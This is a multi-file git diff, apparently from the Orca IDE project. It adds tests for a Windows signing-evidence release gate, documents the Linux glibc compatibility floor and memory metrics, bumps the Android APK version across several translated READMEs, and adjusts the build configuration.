||||
expect(exitCodeIndex).toBeGreaterThan(resolveIndex)
|
||||
expect(exitGuard.start).toBeGreaterThan(exitCodeIndex)
|
||||
expect(exitGuard.code).toMatch(/\bthrow\b/)
|
||||
expect(trimIndex).toBeGreaterThan(exitGuard.end)
|
||||
})
|
||||
|
||||
it(`${name} rejects an empty or non-file 7za path`, () => {
|
||||
const source = workflowSource(name)
|
||||
const guard = blockAfter(
|
||||
source,
|
||||
'if ([string]::IsNullOrWhiteSpace($7za) -or -not (Test-Path -LiteralPath $7za -PathType Leaf))'
|
||||
)
|
||||
expect(guard.code).toMatch(/\bthrow\b/)
|
||||
})
|
||||
}
|
||||
|
||||
// Why sliced to one step: release-cut.yml runs several PowerShell gates that
|
||||
// share idioms (`$failures`, `} catch {`), so a whole-file search silently
|
||||
// asserts against the wrong block.
|
||||
function innerBinaryStep() {
|
||||
const source = workflowSource('release-cut.yml')
|
||||
const start = source.indexOf('- name: Verify Windows inner binary signatures')
|
||||
expect(start).toBeGreaterThan(-1)
|
||||
const end = source.indexOf('\n - name:', start + 1)
|
||||
expect(end).toBeGreaterThan(start)
|
||||
return source.slice(start, end)
|
||||
}
|
||||
|
||||
// Why parse the function body rather than grep the file: asserting that the
|
||||
// string 'Write-GateVerdict' appears somewhere passes even if the body is
|
||||
// gutted to a Write-Host, which is exactly the silent degradation this gate
|
||||
// exists to prevent.
|
||||
function gateVerdictBlock() {
|
||||
return blockAfter(innerBinaryStep(), 'function Write-GateVerdict')
|
||||
}
|
||||
|
||||
it('persists the verdict to the evidence file the artifact upload collects', () => {
|
||||
const block = gateVerdictBlock()
|
||||
expect(block.text).toMatch(/Set-Content\s+-Path\s+'inner-signing-evidence\.txt'/)
|
||||
expect(block.code).toContain('Add-GateSummary')
|
||||
})
|
||||
|
||||
// Why cross-checked: the upload is `if-no-files-found: ignore`, so renaming the
|
||||
// evidence file on one side and not the other ships a green run with an artifact
|
||||
// that silently omits the verdict — the same class as the bug this PR fixes.
|
||||
it('uploads the exact evidence filename the gate writes', () => {
|
||||
const source = workflowSource('release-cut.yml')
|
||||
const uploadStart = source.indexOf('- name: Upload Windows inner signing evidence')
|
||||
expect(uploadStart).toBeGreaterThan(-1)
|
||||
const uploadEnd = source.indexOf('\n - name:', uploadStart + 1)
|
||||
expect(uploadEnd).toBeGreaterThan(uploadStart)
|
||||
const upload = source.slice(uploadStart, uploadEnd)
|
||||
|
||||
const step = innerBinaryStep()
|
||||
const written = new Set(
|
||||
[...withoutComments(step).matchAll(/-Path\s+'([\w.-]+\.txt)'/g)].map((m) => m[1])
|
||||
)
|
||||
expect(written.size).toBeGreaterThan(0)
|
||||
for (const file of written) {
|
||||
expect(upload, `${file} is written by the gate but never uploaded`).toContain(file)
|
||||
}
|
||||
})
|
||||
|
||||
it('never lets verdict persistence itself fail a warn-only release', () => {
|
||||
// Every persistence helper is best-effort: a disk-full or read-only runner
|
||||
// must not turn evidence-writing into the thing that fails the release.
|
||||
const step = innerBinaryStep()
|
||||
for (const helper of ['function Add-GateEvidence', 'function Add-GateSummary']) {
|
||||
const code = blockAfter(step, helper).code
|
||||
expect(code, helper).toContain('-ErrorAction Stop')
|
||||
expect(code, helper).toMatch(/\bcatch\b/)
|
||||
}
|
||||
expect(gateVerdictBlock().code).toMatch(/\bcatch\b/)
|
||||
})
|
||||
|
||||
it('records a verdict on every terminal branch of the gate', () => {
|
||||
// Comments stripped: a `# VERDICT: PASSED` note must not stand in for the write.
|
||||
const step = withoutComments(innerBinaryStep())
|
||||
for (const verdict of ['NOT VERIFIED', 'ERRORED', 'VERDICT: FAILED', 'VERDICT: PASSED']) {
|
||||
expect(step).toContain(verdict)
|
||||
}
|
||||
})
|
||||
|
||||
it('throws a required-mode signature failure outside the catch that would mask it', () => {
|
||||
// Why: throwing inside `try` re-enters the catch, whose Set-Content
|
||||
// replaces the per-file report with "ERRORED — <exception>".
|
||||
const step = innerBinaryStep()
|
||||
const policyThrow = codeOf(step).indexOf('if ($policyFailure) { throw $policyFailure }')
|
||||
expect(policyThrow).toBeGreaterThan(-1)
|
||||
// Anchored on the gate's own handler, not the first `catch` in the step: the
|
||||
// persistence helpers have their own, and they sit earlier in the file.
|
||||
const gateCatch = blockEnclosing(step, 'Write-GateVerdict "ERRORED')
|
||||
expect(gateCatch.keyword).toBe('catch')
|
||||
expect(policyThrow).toBeGreaterThan(gateCatch.end)
|
||||
})
|
||||
|
||||
// Why: the assignment is what survives a write failure. With it after the
|
||||
// evidence/summary writes, a throwing Add-Content lands in the catch with
|
||||
// $policyFailure still null — required mode reports ERRORED and overwrites the
|
||||
// per-file report, reintroducing exactly the loss the hoist prevents.
|
||||
it('records the required-mode failure before attempting any evidence write', () => {
|
||||
const branch = blockAfter(innerBinaryStep(), 'if ($failures.Count -gt 0)').code
|
||||
const assignment = branch.indexOf('$policyFailure = $message')
|
||||
expect(assignment).toBeGreaterThan(-1)
|
||||
for (const write of ['Add-GateEvidence', 'Add-GateSummary']) {
|
||||
expect(branch.indexOf(write), write).toBeGreaterThan(assignment)
|
||||
}
|
||||
})
|
||||
})
|
||||
@@ -3,6 +3,7 @@
|
||||
"include": [
|
||||
"../src/cli/**/*",
|
||||
"../src/shared/**/*",
|
||||
"../src/main/agent-state-file-reader.ts",
|
||||
"../src/main/agent-hooks/hook-stdin-contract.ts",
|
||||
"../src/main/agent-hooks/hook-config-write-path.ts",
|
||||
"../src/main/agent-hooks/hooks-json-read.ts",
|
||||
@@ -22,19 +23,29 @@
|
||||
"../src/main/codex/codex-app-server-session.ts",
|
||||
"../src/main/codex/codex-config-mirror.ts",
|
||||
"../src/main/codex/codex-config-path-reference-rewrite.ts",
|
||||
"../src/main/codex/codex-config-settings-preservation.ts",
|
||||
"../src/main/codex/codex-config-settings-removal.ts",
|
||||
"../src/main/codex/codex-config-settings-upsert.ts",
|
||||
"../src/main/codex/codex-home-paths.ts",
|
||||
"../src/main/codex/codex-hook-identity.ts",
|
||||
"../src/main/codex/codex-hook-trust-grant.ts",
|
||||
"../src/main/codex/codex-managed-trust-reconciliation.ts",
|
||||
"../src/main/codex/codex-process-exit-deadline.ts",
|
||||
"../src/main/codex/codex-trust-config-rollback.ts",
|
||||
"../src/main/codex/codex-trust-grant-telemetry.ts",
|
||||
"../src/main/codex/codex-trust-grant-host.ts",
|
||||
"../src/main/codex/codex-trust-grant-ledger.ts",
|
||||
"../src/main/codex/codex-user-hook-trust-rebase-client.ts",
|
||||
"../src/main/codex/codex-user-hook-trust-rebase.ts",
|
||||
"../src/main/codex/codex-wsl-hook-install-plan.ts",
|
||||
"../src/main/codex/config-settings-baseline.ts",
|
||||
"../src/main/codex/config-settings-conflict-resolution.ts",
|
||||
"../src/main/codex/config-settings-promotion.ts",
|
||||
"../src/main/codex/config-sync-stall.ts",
|
||||
"../src/main/codex/config-toml-deprecated-hook-flag.ts",
|
||||
"../src/main/codex/config-toml-key-path.ts",
|
||||
"../src/main/codex/config-toml-line-scan.ts",
|
||||
"../src/main/codex/config-toml-runtime-owned-sections.ts",
|
||||
"../src/main/codex/config-toml-trust.ts",
|
||||
"../src/main/codex/hook-service.ts",
|
||||
"../src/main/codex/hook-trust-promotion.ts",
|
||||
|
||||
@@ -20,6 +20,7 @@ export default defineConfig({
|
||||
'src/**/*.test.tsx',
|
||||
'config/scripts/**/*.test.ts',
|
||||
'config/scripts/**/*.test.mjs',
|
||||
'tools/**/*.test.mjs',
|
||||
'tests/e2e/**/*.unit.test.ts'
|
||||
],
|
||||
// Why: the full suite runs heavy TS transforms plus real git/http fixtures;
|
||||
|
||||
@@ -1,21 +1,21 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="113" height="20" role="img" aria-label="downloads: 7.5m">
|
||||
<title>downloads: 7.5m</title>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="106" height="20" role="img" aria-label="downloads: 11m">
|
||||
<title>downloads: 11m</title>
|
||||
<linearGradient id="s" x2="0" y2="100%">
|
||||
<stop offset="0" stop-color="#bbb" stop-opacity=".1"/>
|
||||
<stop offset="1" stop-opacity=".1"/>
|
||||
</linearGradient>
|
||||
<clipPath id="r">
|
||||
<rect width="113" height="20" rx="3"/>
|
||||
<rect width="106" height="20" rx="3"/>
|
||||
</clipPath>
|
||||
<g clip-path="url(#r)">
|
||||
<rect width="74" height="20" fill="#555"/>
|
||||
<rect x="74" width="39" height="20" fill="#4c1"/>
|
||||
<rect width="113" height="20" fill="url(#s)"/>
|
||||
<rect x="74" width="32" height="20" fill="#4c1"/>
|
||||
<rect width="106" height="20" fill="url(#s)"/>
|
||||
</g>
|
||||
<g fill="#fff" text-anchor="middle" font-family="Verdana,Geneva,DejaVu Sans,sans-serif" text-rendering="geometricPrecision" font-size="11">
|
||||
<text x="37" y="15" fill="#010101" fill-opacity=".3">downloads</text>
|
||||
<text x="37" y="14">downloads</text>
|
||||
<text x="93.5" y="15" fill="#010101" fill-opacity=".3">7.5m</text>
|
||||
<text x="93.5" y="14">7.5m</text>
|
||||
<text x="90" y="15" fill="#010101" fill-opacity=".3">11m</text>
|
||||
<text x="90" y="14">11m</text>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
|
Before Width: | Height: | Size: 943 B After Width: | Height: | Size: 935 B |
Binary file not shown.
|
Before Width: | Height: | Size: 388 KiB After Width: | Height: | Size: 399 KiB |
File diff suppressed because it is too large
Load Diff
@@ -36,7 +36,7 @@
|
||||
|
||||
Supervisa y dirige a tus agentes desde el teléfono — recibe una notificación cuando un agente termine y envía instrucciones de seguimiento desde cualquier lugar.
|
||||
|
||||
[App Store de iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [APK para Android](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
|
||||
[App Store de iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [APK para Android](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
|
||||
|
||||
</td>
|
||||
<td width="50%">
|
||||
@@ -227,7 +227,7 @@ yay -S stably-orca-bin
|
||||
Vincúlala con tu app de escritorio para supervisar y dirigir a tus agentes desde el teléfono.
|
||||
|
||||
- **iOS:** [Descargar desde App Store](https://apps.apple.com/us/app/orca-ide/id6766130217)
|
||||
- **Android:** [Descargar el APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
|
||||
- **Android:** [Descargar el APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
</h1>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/stablyai/orca/stargazers"><img src="https://badgen.net/github/stars/stablyai/orca?label=%E2%98%85" alt="Étoiles GitHub" /></a>
|
||||
<a href="https://github.com/stablyai/orca"><img src="https://badgen.net/github/stars/stablyai/orca?label=%E2%98%85" alt="Étoiles GitHub" /></a>
|
||||
<a href="https://github.com/stablyai/orca/releases"><img src="../assets/readme-downloads.svg" alt="Téléchargements totaux sur toutes les versions" /></a>
|
||||
<img src="https://badgen.net/github/license/stablyai/orca" alt="Licence" />
|
||||
<a href="https://discord.gg/fzjDKHxv8Q"><img src="https://img.shields.io/badge/Discord-5865F2?logo=discord&logoColor=white" alt="Rejoindre le Discord Orca" /></a>
|
||||
@@ -40,7 +40,7 @@
|
||||
|
||||
Surveillez et pilotez vos agents depuis votre téléphone — soyez notifié quand un agent termine, et envoyez des instructions de suivi où que vous soyez.
|
||||
|
||||
[App Store iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [APK Android 0.0.31](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
|
||||
[App Store iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [APK Android 0.0.32](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
|
||||
|
||||
</td>
|
||||
<td width="50%">
|
||||
@@ -235,7 +235,7 @@ yay -S stably-orca-bin
|
||||
Associez-la à l'app de bureau pour surveiller et piloter vos agents depuis votre téléphone.
|
||||
|
||||
- **iOS :** [Télécharger sur l'App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) ou [rejoindre TestFlight](https://testflight.apple.com/join/YjeGMQBA)
|
||||
- **Android :** [Télécharger l'APK 0.0.31](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
|
||||
- **Android :** [Télécharger l'APK 0.0.32](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -36,7 +36,7 @@
|
||||
|
||||
スマートフォンからエージェントを監視・操作 — エージェントの完了を通知で受け取り、どこからでもフォローアップを送信できます。
|
||||
|
||||
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [ドキュメント →](https://www.onorca.dev/docs/mobile)
|
||||
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [ドキュメント →](https://www.onorca.dev/docs/mobile)
|
||||
|
||||
</td>
|
||||
<td width="50%">
|
||||
@@ -227,7 +227,7 @@ yay -S stably-orca-bin
|
||||
デスクトップアプリとペアリングして、スマートフォンからエージェントを監視・操作できます。
|
||||
|
||||
- **iOS:** [App Store からダウンロード](https://apps.apple.com/us/app/orca-ide/id6766130217)
|
||||
- **Android:** [APK をダウンロード](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
|
||||
- **Android:** [APK をダウンロード](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -36,7 +36,7 @@
|
||||
|
||||
휴대폰에서 에이전트를 모니터링하고 조종하세요 — 에이전트가 완료되면 알림을 받고 어디서든 후속 지시를 보낼 수 있습니다.
|
||||
|
||||
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [문서 →](https://www.onorca.dev/docs/mobile)
|
||||
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [문서 →](https://www.onorca.dev/docs/mobile)
|
||||
|
||||
</td>
|
||||
<td width="50%">
|
||||
@@ -227,7 +227,7 @@ yay -S stably-orca-bin
|
||||
데스크톱 앱과 페어링해 휴대폰에서 에이전트를 모니터링하고 조종하세요.
|
||||
|
||||
- **iOS:** [App Store에서 다운로드](https://apps.apple.com/us/app/orca-ide/id6766130217)
|
||||
- **Android:** [APK 다운로드](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
|
||||
- **Android:** [APK 다운로드](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -36,7 +36,7 @@
|
||||
|
||||
Monitore e conduza seus agentes pelo celular — receba uma notificação quando um agente terminar e envie instruções de acompanhamento de qualquer lugar.
|
||||
|
||||
[App Store para iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [APK Android 0.0.31](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
|
||||
[App Store para iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [APK Android 0.0.32](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
|
||||
|
||||
</td>
|
||||
<td width="50%">
|
||||
@@ -230,7 +230,7 @@ yay -S stably-orca-bin
|
||||
Conecte ao app desktop para monitorar e conduzir seus agentes pelo celular.
|
||||
|
||||
- **iOS:** [Baixar na App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) ou [entrar no TestFlight](https://testflight.apple.com/join/YjeGMQBA)
|
||||
- **Android:** [Baixar APK 0.0.31](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
|
||||
- **Android:** [Baixar APK 0.0.32](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -36,7 +36,7 @@
|
||||
|
||||
用手机监控并指挥你的智能体 — 智能体完成时收到通知,随时随地发送后续指令。
|
||||
|
||||
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [文档 →](https://www.onorca.dev/docs/mobile)
|
||||
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [文档 →](https://www.onorca.dev/docs/mobile)
|
||||
|
||||
</td>
|
||||
<td width="50%">
|
||||
@@ -227,7 +227,7 @@ yay -S stably-orca-bin
|
||||
与桌面应用配对,用手机监控并指挥你的智能体。
|
||||
|
||||
- **iOS:** [从 App Store 下载](https://apps.apple.com/us/app/orca-ide/id6766130217)
|
||||
- **Android:** [下载 APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
|
||||
- **Android:** [下载 APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
|
||||
|
||||
---
|
||||
|
||||
@@ -235,7 +235,7 @@ yay -S stably-orca-bin
|
||||
|
||||
- **Discord:** 加入 **[Discord](https://discord.gg/fzjDKHxv8Q)** 社区。
|
||||
- **Twitter / X:** 关注 **[@orca_build](https://x.com/orca_build)** 获取更新和公告。
|
||||
- **微信:** 第一、二个微信群均已满,现在可以加入第三个群。
|
||||
- **微信:** 其他群已满,现在加入第 5 群。
|
||||
|
||||
<img src="../assets/wechat-qr.jpg" alt="Orca 社区微信群二维码" width="160" />
|
||||
|
||||
|
||||
@@ -10,8 +10,10 @@ startup. Current Orca builds start Xvfb automatically for `orca serve` when no
|
||||
not required. When `DISPLAY` is set, Orca uses that display instead of starting
|
||||
a competing Xvfb process.
|
||||
|
||||
The supported deployment matrix covers Ubuntu 22.04 and 24.04 and current
|
||||
Debian stable. Package names can differ on other Debian-derived releases.
|
||||
The supported deployment matrix covers Ubuntu 20.04, 22.04, and 24.04 and
|
||||
current Debian stable — anything with glibc 2.31 or newer (see
|
||||
[Linux glibc compatibility](./linux-glibc-compatibility.md)). Package names can
|
||||
differ on other Debian-derived releases.
|
||||
|
||||
## Ubuntu and Debian prerequisites
|
||||
|
||||
|
||||
@@ -0,0 +1,99 @@
|
||||
# Linux glibc Compatibility
|
||||
|
||||
Orca's Linux builds target **stock Ubuntu 20.04 and newer** — glibc 2.31 and
|
||||
libstdc++ `GLIBCXX_3.4.28` (also Debian 11, RHEL 9), on both x64 and arm64.
|
||||
Packaging enforces this floor automatically; keep it in mind when adding or
|
||||
upgrading native dependencies. (The optional speech feature is the one
|
||||
exception — see below.)
|
||||
|
||||
## Why this needs attention
|
||||
|
||||
A native module (`.node`) links against the glibc of the machine that compiled
|
||||
it. Our release CI compiles node-pty from source on GitHub's `ubuntu-latest`
|
||||
runner, whose glibc rises over time as the image is bumped. A binary compiled on
|
||||
a newer glibc can reference symbol versions that do not exist on an older target,
|
||||
and the dynamic loader then refuses to load it:
|
||||
|
||||
```
|
||||
/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by .../pty.node)
|
||||
```
|
||||
|
||||
Because the Orca main process loads node-pty at startup, that failure crashes the
|
||||
whole app before a window appears — this is exactly what shipped in v1.4.150 and
|
||||
broke launch on Ubuntu 20.04 ([#9902](https://github.com/stablyai/orca/issues/9902)).
|
||||
|
||||
The specific trap is glibc's 2.32–2.34 "libpthread/libutil merge", which moved
|
||||
several long-stable functions into libc under brand-new symbol versions:
|
||||
|
||||
| Symbol | New version | node-pty use |
|
||||
| ----------------- | ------------- | ----------------------- |
|
||||
| `pthread_sigmask` | `GLIBC_2.32` | reset child signal mask |
|
||||
| `openpty` | `GLIBC_2.34` | allocate the pty |
|
||||
| `forkpty` | `GLIBC_2.34` | fork the shell |
|
||||
|
||||
Electron itself (glibc 2.25) and the other bundled native modules
|
||||
(`sherpa-onnx`, `@parcel/watcher`, both prebuilt on old glibc) stay well under
|
||||
the floor, so node-pty was the sole blocker.
|
||||
|
||||
## How we keep the floor
|
||||
|
||||
**1. Pin the relocated symbols (the fix).**
|
||||
[`config/patches/node-pty@1.1.0.patch`](../../config/patches/node-pty@1.1.0.patch)
|
||||
adds a `.symver` shim in `src/unix/pty.cc` that binds `openpty`, `forkpty`, and
|
||||
`pthread_sigmask` to their pre-merge version node — `GLIBC_2.2.5` on x64,
|
||||
`GLIBC_2.17` on arm64 (each architecture's baseline glibc). glibc still ships
|
||||
those as compatibility aliases, so the reference resolves on both new build hosts
|
||||
and old targets.
|
||||
|
||||
The catch: gcc defaults to `--as-needed` and, since the pinned symbols now
|
||||
resolve from libc's compat aliases at build time, it drops `libutil`/`libpthread`
|
||||
from `DT_NEEDED`. On the target those libraries are where the symbols actually
|
||||
live, so the patch's `binding.gyp` `ldflags` force
|
||||
`-Wl,--no-as-needed,-l:libutil.so.1,-l:libpthread.so.0` back into `DT_NEEDED`.
|
||||
The shim is guarded by `#if defined(__linux__)`; macOS and Windows are untouched.
|
||||
|
||||
**2. Gate packaging (the regression guard).**
|
||||
[`config/scripts/verify-linux-glibc-floor.cjs`](../../config/scripts/verify-linux-glibc-floor.cjs)
|
||||
runs in the electron-builder `afterPack` hook for Linux. It reads every bundled
|
||||
native binary's version needs (`objdump -p` "Version References" — the
|
||||
authoritative load-time list, which also captures symbol-less markers like
|
||||
`GLIBC_ABI_DT_RELR`) and fails the build if any strong `GLIBC_`/`GLIBCXX_`/
|
||||
`CXXABI_` node is newer than stock Ubuntu 20.04 provides, naming the file and the
|
||||
offending node. Weak needs are ignored (the loader tolerates them). It also
|
||||
asserts the flip side of the `.symver` fix: any binary that imports
|
||||
`openpty`/`forkpty` must keep `libutil.so.1` in `DT_NEEDED` — otherwise the
|
||||
pinned `openpty@GLIBC_2.2.5` resolves from libc's compat alias at build time (so
|
||||
the version check passes) yet fails to load on 20.04, where those functions live
|
||||
only in libutil. A future runner bump, a new native dependency, or a dropped
|
||||
ldflag therefore fails the release build instead of shipping a Linux app that
|
||||
crashes on launch.
|
||||
|
||||
> The gate is a static invariant, not an integration test. The load path was
|
||||
> verified by hand for this fix (real Ubuntu 20.04, x64 + arm64: `require`
|
||||
> node-pty and spawn a shell). A CI smoke test that loads the packaged
|
||||
> `pty.node` in a glibc-2.31 container and spawns a shell is the recommended
|
||||
> follow-up — it would make the load path self-verifying and stay valid even if
|
||||
> the build ever moves to an old-glibc sysroot.
|
||||
|
||||
The one carve-out is the `sherpa-onnx` speech prebuilt, which already requires
|
||||
`GLIBCXX_3.4.29` (GCC 11). It loads lazily in the speech worker
|
||||
(`src/main/speech/stt-worker.ts`), never at app launch, so it is exempt from the
|
||||
libstdc++ floor — its glibc needs are still checked. Speech-to-text therefore
|
||||
needs a host with libstdc++ from GCC 11+ (Ubuntu 21.10 / 22.04 LTS or newer); the
|
||||
app itself still launches on stock 20.04.
|
||||
|
||||
## Adding or upgrading a native dependency
|
||||
|
||||
- Prefer packages that ship prebuilt binaries compiled against an old toolchain
|
||||
(manylinux / `glibc 2.17`-class), like `@parcel/watcher`.
|
||||
- For a module we compile from source, if the gate flags it, either pin the
|
||||
offending symbols the way node-pty does, or build it in an old-glibc container.
|
||||
- To check locally on a Linux host, list what a binary requires (skipping the
|
||||
weak `0x02`-flagged needs the loader tolerates):
|
||||
|
||||
```bash
|
||||
objdump -p path/to/module.node | sed -n '/Version References/,/^$/p'
|
||||
```
|
||||
|
||||
No strong `GLIBC_` node may exceed `2.31`, and no `GLIBCXX_`/`CXXABI_` node may
|
||||
exceed `3.4.28`/`1.3.12` — what stock Ubuntu 20.04 ships.
|
||||
@@ -0,0 +1,54 @@
|
||||
# Resource Manager memory metrics
|
||||
|
||||
Resource Manager reports two different kinds of memory data. Process totals describe Orca and
|
||||
locally managed terminal processes; host totals describe the machine running Orca. They are not
|
||||
interchangeable.
|
||||
|
||||
## Process memory
|
||||
|
||||
Each snapshot declares one `processMemoryMetric`:
|
||||
|
||||
| Platform | Metric | Source |
|
||||
| ------------ | ------------- | ---------------------------------------------------------- |
|
||||
| macOS, Linux | `rss` | `ps` resident set size |
|
||||
| Windows | `working-set` | CIM `WorkingSetSize`, with a Typeperf working-set fallback |
|
||||
|
||||
Orca walks each registered local PTY subtree and claims every PID at most once. App, session,
|
||||
worktree, history, and snapshot memory values are sums of those per-process samples.
|
||||
|
||||
RSS and working set are not unique physical-memory measurements. Shared pages can appear in more
|
||||
than one process, and macOS can count the same resident page through multiple mappings in one
|
||||
process. A sum can therefore exceed physical RAM. Product copy and diagnostics must identify the
|
||||
metric as a sum and must not present it as a percentage of system RAM.
|
||||
|
||||
Remote SSH and relay sessions do not receive invented local samples. They remain unavailable until
|
||||
the executing host supplies resource data. Folder workspaces use the same registered-PTY
|
||||
attribution as Git worktrees.
|
||||
|
||||
## Host memory
|
||||
|
||||
`HostMemory` keeps immediate free memory separate from memory available without material pressure:
|
||||
|
||||
- `freeMemory` is Node's host free-memory value.
|
||||
- `availableMemory` is the best bounded platform value.
|
||||
- `usedMemory` is `totalMemory - availableMemory`.
|
||||
- `memoryUsagePercent` is derived from `usedMemory`.
|
||||
- `availableMemorySource` identifies how availability was measured.
|
||||
|
||||
The sources are:
|
||||
|
||||
| Platform | Preferred source | Fallback |
|
||||
| -------- | ----------------------------------------- | ---------------- |
|
||||
| macOS | `memory_pressure -Q` available percentage | Node free memory |
|
||||
| Linux | `/proc/meminfo` `MemAvailable` | Node free memory |
|
||||
| Windows | Node free memory | Node free memory |
|
||||
|
||||
This percentage describes host availability. It is not derived from the summed process metric.
|
||||
|
||||
## Bounded collection
|
||||
|
||||
Resource Manager polls while its popover is open, so every snapshot must remain bounded under a
|
||||
large process tree. macOS `footprint` provides a more physical process metric, but collecting it
|
||||
across dozens of processes is too expensive for this path. A future physical-footprint backend
|
||||
must use a bounded host API or helper and declare a distinct metric before product copy treats it
|
||||
as physical memory.
|
||||
+40
-4
@@ -1,8 +1,24 @@
|
||||
import { isBuiltin } from 'node:module'
|
||||
import { resolve } from 'node:path'
|
||||
import { defineConfig } from 'electron-vite'
|
||||
import { defineConfig, type UserConfig } from 'electron-vite'
|
||||
import react from '@vitejs/plugin-react'
|
||||
import tailwindcss from '@tailwindcss/vite'
|
||||
import { createPlainNodeEntryGuardPlugin } from './build-plugins/plain-node-entry-guard'
|
||||
import packageJson from './package.json' with { type: 'json' }
|
||||
|
||||
const BUNDLED_MAIN_DEPENDENCIES = new Set(['@xterm/headless', '@xterm/addon-serialize'])
|
||||
const EXTERNAL_MAIN_DEPENDENCIES = Object.keys(packageJson.dependencies).filter(
|
||||
(dependency) => !BUNDLED_MAIN_DEPENDENCIES.has(dependency)
|
||||
)
|
||||
|
||||
function isExternalMainModule(source: string): boolean {
|
||||
if (isBuiltin(source) || source === 'electron' || source.startsWith('electron/')) {
|
||||
return true
|
||||
}
|
||||
return EXTERNAL_MAIN_DEPENDENCIES.some(
|
||||
(dependency) => source === dependency || source.startsWith(`${dependency}/`)
|
||||
)
|
||||
}
|
||||
|
||||
// Why: the telemetry transport is gated by two compile-time constants that
|
||||
// only the official CI release workflow sets. Contributor / `pnpm dev` /
|
||||
@@ -165,7 +181,7 @@ function createStartupDiagnosticsBootstrapPlugin() {
|
||||
}
|
||||
}
|
||||
|
||||
export default defineConfig({
|
||||
export const electronViteConfig: UserConfig = {
|
||||
main: {
|
||||
build: {
|
||||
// Why: daemon-entry.js is asar-unpacked so child_process.fork() can
|
||||
@@ -176,9 +192,13 @@ export default defineConfig({
|
||||
exclude: ['@xterm/headless', '@xterm/addon-serialize']
|
||||
},
|
||||
rollupOptions: {
|
||||
// Why: native dependencies must resolve from packaged node_modules,
|
||||
// while the unpacked daemon needs its pure-JS xterm graph bundled.
|
||||
external: isExternalMainModule,
|
||||
input: {
|
||||
index: resolve('src/main/index.ts'),
|
||||
'daemon-entry': resolve('src/main/daemon/daemon-entry.ts'),
|
||||
'plugin-host-entry': resolve('src/main/plugins/plugin-host-entry.ts'),
|
||||
'computer-sidecar': resolve('src/main/computer/sidecar-entry.ts'),
|
||||
'stt-worker': resolve('src/main/speech/stt-worker.ts'),
|
||||
'warp-theme-parser-worker': resolve('src/main/warp-themes/warp-theme-parser-worker.ts'),
|
||||
@@ -200,6 +220,13 @@ export default defineConfig({
|
||||
'src/main/agent-hooks/managed-agent-hook-controls.ts'
|
||||
)
|
||||
},
|
||||
// Why: Rolldown's SSR default is ESM, but Electron and sidecar launchers
|
||||
// consume these stable CommonJS paths.
|
||||
output: {
|
||||
format: 'cjs',
|
||||
entryFileNames: '[name].js',
|
||||
chunkFileNames: 'chunks/[name]-[hash].js'
|
||||
},
|
||||
plugins: [createStartupDiagnosticsBootstrapPlugin(), createPlainNodeEntryGuardPlugin()]
|
||||
}
|
||||
},
|
||||
